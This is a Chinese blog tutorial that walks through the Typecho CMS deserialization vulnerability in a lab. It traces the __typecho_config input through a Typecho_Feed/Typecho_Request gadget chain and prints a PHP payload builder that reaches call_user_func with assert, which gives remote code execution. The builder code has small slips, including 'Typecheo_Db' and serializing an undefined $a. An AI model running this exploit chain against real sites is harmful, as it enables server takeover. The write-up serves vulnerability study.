Typecho反序列化漏洞寻找思路

前言

本文将通过Typecho靶场的反序列化漏洞寻找,从攻击链的思路来进行攻击

一、寻找反序列化函数unserialize()

通过phpstorm查找unserialize()函数

   $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecheo_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);

// Typecho_Cookie::get
 public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? 
        		  $_POST[$key] : $default);  //COOKIE值为空,则存在客户端控制的条件,找到漏洞
        return is_array($value) ? $default : $value;
    }

关键字Typecho_Cookie::get()

二、寻找COOKIE序列化的对象结构

在这里插入图片描述

全局搜索对应的set()函数成功确定序列化结构

三、寻找对象析构函数及存在攻击可能的功能

在这里插入图片描述

反序列化后$config对象,在创建的Typecho_Db对象结果中的adapter属性和prefix属性进行利用

在这里插入图片描述

最终adapter属性被拼接到字符串中,那么析构函数__toString()可能起到了作用

四、寻找存在攻击可能的__toString()函数

在这里插入图片描述

依旧使用全局排查,发现Feed下的__toString()存在成员变量的调用,可以寻找一个带有__get()函数的对象,在调用该对象的属性变量时,将自动执行__get()函数
若能寻找某一对象__get()函数存在攻击可能,便可以通过重写Feed对象并手动构建$item[‘author’],令此值指向寻找到的写有__get()函数且存在攻击可能的对象,并在此对象中构建screenName字段,来作为攻击手段

效果

那么当$item[‘author’]->screenName被调用时,触发对应对象的__get()析构函数,利用其内部的功能进行攻击,当然前提是需要在__get()函数中存在攻击功能才能施展

五、寻找__get()存有攻击可能的对象

在这里插入图片描述

排查后发现Request.php中get()下:

 private $_params = array();  //两属性为Request的成员变量 值为数组
 private $_filter = array();
 public function get($key, $default = NULL)
    {
        switch (true) {   
        // $key是在执行request->xxx时自动传入xxx作为参数 
            case isset($this->_params[$key]):   //对照上一步骤,$key的值应为screenName
                $value = $this->_params[$key]; //对应_params数组中存在这一属性,则获取该值
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
    //进入该函数
  private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                 // 重要信息====filter值作为被执行的函数,$value作为被执行函数的入参
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

成功寻找带有攻击可能的Typecho_Request对象,继上一步骤,可构建Typecho_Feed对象,令$item[‘author’]=Typecho_Request对象,同时在Typecho_Request对象中构建_params_filter
在触发Typecho_Request->__get()时,call_user_func( $filter, $value);被调用,filter值将被作为php函数执行,确定攻击点

六、构建payload

分析漏洞后开始组织:

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        $this->_params['screenName'] = "phpinfo()";
        $this->_filter[0] = 'assert';
    }
}
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['author'] = new Typecho_Request();  
        $item['category'] = array(new Typecho_Request());
        $this->_items[0] = $item;  
    }
}
	$feed = new Typecho_Feed();
	$arr = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $feed, //反序列化时,此对象会与字符串拼接
    'prefix' => 'typecho_'
	);
	$payload = urlencode(base64_encode(serialize($a)));  

七、进行攻击

在开始

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

代码中

$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);

COOKIE值为空时,会从_POST中取值,所以我们利用这一处来进行操控的
在这里插入图片描述

总结

  • 首先有unserialize()函数,同时有了客户端控制的_POST['__typecho_config'],有了攻击的可能性
  • 其次是发现了析构函数__toString()可以被调用,将带有攻击行为的对象将其替换,使得此对象中__toString()被回调达成攻击
  • 在该程序链中继续寻找到__get()析构函数可以利用,同上类似,寻找存在攻击可能的对象进行替换
  • 最后形成完美的攻击链,通过客户端控制的前提下将手动构建的对象进行序列化后进行攻击
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

问心彡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值